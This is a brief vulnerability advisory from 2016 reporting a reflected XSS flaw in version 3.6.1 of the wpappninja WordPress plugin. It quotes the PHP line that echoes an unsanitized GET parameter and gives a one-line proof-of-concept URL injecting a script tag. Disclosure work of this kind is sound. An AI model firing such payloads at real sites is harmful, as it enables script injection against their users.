Advisory #: 763
Title: Reflected XSS in wordpress plugin wpappninja v3.6.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wpappninja
Downloads: 711
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wpappninja
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wpappninja/inc/api/json.php: 612: body input.button {background-color: #<?php echo $_GET['c'];?> !important;box-shadow: 0 0px 0 #000 !important;} The variable c appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./wpappninja/inc/api/json.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/wpappninja/inc/api/json.php?c="><script>alert(1);</script><"